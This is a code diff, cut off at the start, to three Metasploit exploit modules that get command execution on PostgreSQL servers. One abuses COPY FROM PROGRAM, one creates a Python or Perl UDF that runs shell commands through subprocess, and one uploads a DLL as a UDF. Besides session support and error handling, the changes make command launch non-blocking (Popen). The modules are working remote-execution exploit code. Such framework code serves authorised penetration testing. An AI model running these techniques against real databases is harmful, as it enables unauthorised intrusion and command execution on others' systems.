version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/i).flatten.first
|
||||||
if Rex::Version.new(version_full) >= Rex::Version.new('9.3')
|
Rex::Version.new(version_full) >= Rex::Version.new('9.3')
|
||||||
return true
|
|
||||||
else
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def login_success?
|
def login_success?
|
||||||
|
@ -127,15 +124,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
drop_query = postgres_query(query)
|
drop_query = postgres_query(query)
|
||||||
case drop_query.keys[0]
|
case drop_query.keys[0]
|
||||||
when :conn_error
|
when :conn_error
|
||||||
print_error "#{peer} - Connection error"
|
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error"
|
||||||
return false
|
return false
|
||||||
when :sql_error
|
when :sql_error
|
||||||
print_warning "#{peer} - Unable to execute query: #{query}"
|
print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}"
|
||||||
return false
|
return false
|
||||||
when :complete
|
when :complete
|
||||||
print_good "#{peer} - #{tablename} dropped successfully"
|
print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{tablename} dropped successfully"
|
||||||
else
|
else
|
||||||
print_error "#{peer} - Unknown"
|
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown"
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -144,15 +141,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
create_query = postgres_query(query)
|
create_query = postgres_query(query)
|
||||||
case create_query.keys[0]
|
case create_query.keys[0]
|
||||||
when :conn_error
|
when :conn_error
|
||||||
print_error "#{peer} - Connection error"
|
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error"
|
||||||
return false
|
return false
|
||||||
when :sql_error
|
when :sql_error
|
||||||
print_warning "#{peer} - Unable to execute query: #{query}"
|
print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}"
|
||||||
return false
|
return false
|
||||||
when :complete
|
when :complete
|
||||||
print_good "#{peer} - #{tablename} created successfully"
|
print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{tablename} created successfully"
|
||||||
else
|
else
|
||||||
print_error "#{peer} - Unknown"
|
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown"
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -162,20 +159,24 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
copy_query = postgres_query(query)
|
copy_query = postgres_query(query)
|
||||||
case copy_query.keys[0]
|
case copy_query.keys[0]
|
||||||
when :conn_error
|
when :conn_error
|
||||||
print_error "#{peer} - Connection error"
|
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error"
|
||||||
return false
|
return false
|
||||||
when :sql_error
|
when :sql_error
|
||||||
print_warning "#{peer} - Unable to execute query: #{query}"
|
if copy_query[:sql_error].match? 'execution expired'
|
||||||
|
print_warning 'Timed out. The function was potentially executed.'
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}"
|
||||||
if copy_query[:sql_error] =~ /must be superuser to COPY to or from an external program/
|
if copy_query[:sql_error] =~ /must be superuser to COPY to or from an external program/
|
||||||
print_error 'Insufficient permissions, User must be superuser or in pg_read_server_files group'
|
print_error 'Insufficient permissions, User must be superuser or in pg_read_server_files group'
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
print_warning "#{peer} - Unable to execute query: #{query}"
|
print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}"
|
||||||
return false
|
return false
|
||||||
when :complete
|
when :complete
|
||||||
print_good "#{peer} - #{tablename} copied successfully(valid syntax/command)"
|
print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{tablename} copied successfully(valid syntax/command)"
|
||||||
else
|
else
|
||||||
print_error "#{peer} - Unknown"
|
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown"
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -185,16 +186,16 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
select_query = postgres_query(query)
|
select_query = postgres_query(query)
|
||||||
case select_query.keys[0]
|
case select_query.keys[0]
|
||||||
when :conn_error
|
when :conn_error
|
||||||
print_error "#{peer} - Connection error"
|
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error"
|
||||||
return false
|
return false
|
||||||
when :sql_error
|
when :sql_error
|
||||||
print_warning "#{peer} - Unable to execute query: #{query}"
|
print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}"
|
||||||
return false
|
return false
|
||||||
when :complete
|
when :complete
|
||||||
print_good "#{peer} - #{tablename} contents:\n#{select_query}"
|
print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{tablename} contents:\n#{select_query}"
|
||||||
return true
|
return true
|
||||||
else
|
else
|
||||||
print_error "#{peer} - Unknown"
|
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown"
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -203,15 +204,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
drop_query = postgres_query(query)
|
drop_query = postgres_query(query)
|
||||||
case drop_query.keys[0]
|
case drop_query.keys[0]
|
||||||
when :conn_error
|
when :conn_error
|
||||||
print_error "#{peer} - Connection error"
|
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error"
|
||||||
return false
|
return false
|
||||||
when :sql_error
|
when :sql_error
|
||||||
print_warning "#{peer} - Unable to execute query: #{query}"
|
print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}"
|
||||||
return false
|
return false
|
||||||
when :complete
|
when :complete
|
||||||
print_good "#{peer} - #{tablename} dropped successfully(Cleaned)"
|
print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{tablename} dropped successfully(Cleaned)"
|
||||||
else
|
else
|
||||||
print_error "#{peer} - Unknown"
|
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown"
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -235,8 +236,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
#vuln_version doesn't seem to work
|
self.postgres_conn = session.client if session
|
||||||
#return unless vuln_version?
|
return unless vuln_version?
|
||||||
return unless login_success?
|
return unless login_success?
|
||||||
print_status("Exploiting...")
|
print_status("Exploiting...")
|
||||||
if execute_payload
|
if execute_payload
|
||||||
|
@ -244,6 +245,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
else
|
else
|
||||||
print_error("Exploit Failed")
|
print_error("Exploit Failed")
|
||||||
end
|
end
|
||||||
postgres_logout if @postgres_conn
|
postgres_logout if @postgres_conn && session.blank?
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
include Msf::Exploit::Remote::Postgres
|
include Msf::Exploit::Remote::Postgres
|
||||||
include Msf::Exploit::Remote::Tcp
|
include Msf::Exploit::Remote::Tcp
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::OptionalSession
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -46,13 +47,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
['Automatic', {}]
|
['Automatic', {}]
|
||||||
],
|
],
|
||||||
'DefaultTarget' => 0,
|
'DefaultTarget' => 0,
|
||||||
'DisclosureDate' => '2016-01-01'
|
'DisclosureDate' => '2016-01-01',
|
||||||
|
'SessionTypes' => %w[PostgreSQL]
|
||||||
))
|
))
|
||||||
|
|
||||||
register_options([
|
|
||||||
Opt::RPORT(5432)
|
|
||||||
])
|
|
||||||
|
|
||||||
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
|
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -69,11 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/i).flatten.first
|
version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/i).flatten.first
|
||||||
|
|
||||||
if Rex::Version.new(version_full) >= Rex::Version.new('8.0')
|
Rex::Version.new(version_full) >= Rex::Version.new('8.0')
|
||||||
return true
|
|
||||||
else
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def login_success?
|
def login_success?
|
||||||
|
@ -86,7 +80,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
print_error "#{peer} - Connection failed"
|
print_error "#{peer} - Connection failed"
|
||||||
return false
|
return false
|
||||||
else
|
else
|
||||||
print_status "#{peer} - #{status}"
|
print_status "#{postgres_conn.address}:#{postgres_conn.port} - #{status}"
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -94,16 +88,16 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
def load_extension?(language)
|
def load_extension?(language)
|
||||||
case load_procedural_language(language, 'LANGUAGE')
|
case load_procedural_language(language, 'LANGUAGE')
|
||||||
when :exists
|
when :exists
|
||||||
print_good "#{peer} - #{language} is already loaded, continuing"
|
print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{language} is already loaded, continuing"
|
||||||
return true
|
return true
|
||||||
when :loaded
|
when :loaded
|
||||||
print_good "#{peer} - #{language} was successfully loaded, continuing"
|
print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{language} was successfully loaded, continuing"
|
||||||
return true
|
return true
|
||||||
when :not_exists
|
when :not_exists
|
||||||
print_status "#{peer} - #{language} could not be loaded"
|
print_status "#{postgres_conn.address}:#{postgres_conn.port} - #{language} could not be loaded"
|
||||||
return false
|
return false
|
||||||
else
|
else
|
||||||
vprint_error "#{peer} - error occurred loading #{language}"
|
vprint_error "#{postgres_conn.address}:#{postgres_conn.port} - error occurred loading #{language}"
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -114,16 +108,29 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
case select_query.keys[0]
|
case select_query.keys[0]
|
||||||
when :conn_error
|
when :conn_error
|
||||||
print_error "#{peer} - Connection error"
|
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error"
|
||||||
return false
|
return false
|
||||||
when :sql_error
|
when :sql_error
|
||||||
print_warning "#{peer} - Unable to execute query: #{query}"
|
elog(select_query[:sql_error])
|
||||||
|
|
||||||
|
missing_executable_match = select_query[:sql_error].match "FileNotFoundError[^\t]*"
|
||||||
|
unless missing_executable_match.nil?
|
||||||
|
print_error "#{missing_executable_match} - The target binary was not found on the target."
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
if select_query[:sql_error].match? 'execution expired'
|
||||||
|
print_warning 'Timed out. The function was potentially executed.'
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}"
|
||||||
return false
|
return false
|
||||||
when :complete
|
when :complete
|
||||||
print_good "#{peer} - Exploit successful"
|
print_good "#{postgres_conn.address}:#{postgres_conn.port} - Exploit successful"
|
||||||
return true
|
return true
|
||||||
else
|
else
|
||||||
print_error "#{peer} - Unknown"
|
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown"
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -139,23 +146,23 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
load_func = postgres_query(query)
|
load_func = postgres_query(query)
|
||||||
when /^python(?:2|3)?/i
|
when /^python(?:2|3)?/i
|
||||||
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r"
|
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r"
|
||||||
query << "import subprocess, shlex\rsubprocess.check_output(shlex.split(c))\r"
|
query << "import subprocess, shlex\rsubprocess.Popen(shlex.split(c))\r"
|
||||||
query << "$$ LANGUAGE pl#{language}u"
|
query << "$$ LANGUAGE pl#{language}u"
|
||||||
load_func = postgres_query(query)
|
load_func = postgres_query(query)
|
||||||
end
|
end
|
||||||
|
|
||||||
case load_func.keys[0]
|
case load_func.keys[0]
|
||||||
when :conn_error
|
when :conn_error
|
||||||
print_error "#{peer} - Connection error"
|
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error"
|
||||||
return false
|
return false
|
||||||
when :sql_error
|
when :sql_error
|
||||||
print_error "#{peer} Exploit failed"
|
print_error "#{postgres_conn.address}:#{postgres_conn.port} Exploit failed"
|
||||||
return false
|
return false
|
||||||
when :complete
|
when :complete
|
||||||
print_good "#{peer} - Loaded UDF (exec_#{func_name})"
|
print_good "#{postgres_conn.address}:#{postgres_conn.port} - Loaded UDF (exec_#{func_name})"
|
||||||
return true
|
return true
|
||||||
else
|
else
|
||||||
print_error "#{peer} - Unknown"
|
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown"
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -168,8 +175,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
match_exists = load_language[:sql_error].match(/(?:(extension|language) "pl#{language}u" already exists)/m)
|
match_exists = load_language[:sql_error].match(/(?:(extension|language) "pl#{language}u" already exists)/m)
|
||||||
return :exists if match_exists
|
return :exists if match_exists
|
||||||
|
|
||||||
match_error = load_language[:sql_error].match(/(?:could not (?:open extension control|access) file|unsupported language)/m)
|
match_error = load_language[:sql_error].match(/(?:[Cc]ould not (?:open extension control|access) file|unsupported language)/m)
|
||||||
return :not_exists if match_error
|
return :not_exists if match_error
|
||||||
|
|
||||||
|
# Default to something sane
|
||||||
|
:not_exists
|
||||||
end
|
end
|
||||||
|
|
||||||
def do_login(user, pass, database)
|
def do_login(user, pass, database)
|
||||||
|
@ -191,6 +201,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
self.postgres_conn = session.client if session
|
||||||
return unless vuln_version?
|
return unless vuln_version?
|
||||||
return unless login_success?
|
return unless login_success?
|
||||||
|
|
||||||
|
@ -204,6 +215,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
postgres_logout if @postgres_conn
|
postgres_logout if @postgres_conn && session.blank?
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include Msf::Exploit::EXE
|
include Msf::Exploit::EXE
|
||||||
include Msf::Exploit::FileDropper
|
include Msf::Exploit::FileDropper
|
||||||
|
include Msf::OptionalSession
|
||||||
|
|
||||||
# Creates an instance of this module.
|
# Creates an instance of this module.
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
|
@ -58,7 +59,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
],
|
],
|
||||||
'DefaultTarget' => 0,
|
'DefaultTarget' => 0,
|
||||||
'DisclosureDate' => '2009-04-10' # Date of Bernardo's BH Europe paper.
|
'DisclosureDate' => '2009-04-10', # Date of Bernardo's BH Europe paper.
|
||||||
|
'SessionTypes' => %w[PostgreSQL]
|
||||||
))
|
))
|
||||||
|
|
||||||
deregister_options('SQL', 'RETURN_ROWSET')
|
deregister_options('SQL', 'RETURN_ROWSET')
|
||||||
|
@ -77,12 +79,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
self.postgres_conn = session.client if session
|
||||||
version = do_login(username,password,database)
|
version = do_login(username,password,database)
|
||||||
case version
|
case version
|
||||||
when :noauth; print_error "Authentication failed"; return
|
when :noauth; print_error "Authentication failed"; return
|
||||||
when :noconn; print_error "Connection failed"; return
|
when :noconn; print_error "Connection failed"; return
|
||||||
else
|
else
|
||||||
print_status("#{rhost}:#{rport} - #{version}")
|
print_status("#{postgres_conn.address}:#{postgres_conn.port} - #{version}")
|
||||||
end
|
end
|
||||||
|
|
||||||
fname = "#{Rex::Text.rand_text_alpha(8)}.dll"
|
fname = "#{Rex::Text.rand_text_alpha(8)}.dll"
|
||||||
|
@ -104,7 +107,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
rescue RuntimeError => e
|
rescue RuntimeError => e
|
||||||
print_error "Failed to create UDF function: #{e.class}: #{e}"
|
print_error "Failed to create UDF function: #{e.class}: #{e}"
|
||||||
end
|
end
|
||||||
postgres_logout if @postgres_conn
|
postgres_logout if @postgres_conn && session.blank?
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -114,7 +117,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
def do_login(user=nil,pass=nil,database=nil)
|
def do_login(user=nil,pass=nil,database=nil)
|
||||||
begin
|
begin
|
||||||
password = pass || postgres_password
|
password = pass || postgres_password
|
||||||
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
|
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless self.postgres_conn
|
||||||
result = postgres_fingerprint(
|
result = postgres_fingerprint(
|
||||||
:db => database,
|
:db => database,
|
||||||
:username => user,
|
:username => user,
|
||||||
|
@ -122,8 +125,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
)
|
)
|
||||||
if result[:auth]
|
if result[:auth]
|
||||||
report_service(
|
report_service(
|
||||||
:host => rhost,
|
:host => postgres_conn.address,
|
||||||
:port => rport,
|
:port => postgres_conn.port,
|
||||||
:name => "postgres",
|
:name => "postgres",
|
||||||
:info => result.values.first
|
:info => result.values.first
|
||||||
)
|
)
|
||||||
|
|
Loading…
Reference in New Issue